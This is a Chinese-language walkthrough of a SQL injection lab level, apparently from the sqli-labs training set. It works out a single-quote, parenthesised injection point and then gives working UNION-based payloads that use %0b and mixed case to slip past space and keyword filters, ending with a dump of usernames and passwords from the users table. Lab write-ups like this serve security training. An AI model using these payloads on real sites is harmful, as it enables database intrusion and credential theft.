首先判断一下是否为数字型
输入如下
id=1%0band%0b1=2
正确回显所以属于字符型
然后判断是单引还是双引 输入如下
id=1'
报错了 说明一定属于单引号注入点 佐证一下
然后判断是否带有括号 输入如下
id=1')%0bor%0b('1'='1
回显如下
我们可以把这两句话放在sqlyog里面去看一看
首先对于第一句 因为源代码里面含有limit 0,1所以要加上去
select id from users where id=('1' or '1'='1') limit 0,1;
这个条件相当于被类型转换为了1相当于查询的是id为1的结果
回显如下
对于第二句 输入如下
select id from users where id=('1' or '1'='1') limit 0,1;
回显如下
好了对于这两句话的理解就到这边了
接下来我们知道了注入点为单引号并且带了一个括号之后 选择要使用的方法 由于缺乏报错信息 所以不适用报错注入去完成这一道题目 我这里选择联合注入
首先判断回显点 输入如下
id=1')%0bunioN%0bselecT%0b1,2,3%0bor%0b('1'='1
回显如下
多试几次 找出真正的回显点 发现只有一处能够回显那就是2
开始爆库 输入如下
id=0')%0bunioN%0bselecT%0b1,database(),3%0bor%0b('1'='1
回显如下
开始爆表 输入如下
id=0')%0bunioN%0bselecT%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()%0band%0b('1'='1
回显如下
开始爆字段 输入如下
id=0')%0bunioN%0bselecT%0b1,group_concat(column_name),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0band%0btable_schema=database()%0band%0b('1'='1
回显如下
爆用户名和密码等相关信息 输入如下
id=0')%0bunioN%0bselecT%0b1,group_concat(username,password),3%0bfrom%0busers%0bwhere%0b('1'='1
回显如下
这一关和上一关差不多 嗨嗨成功解题!!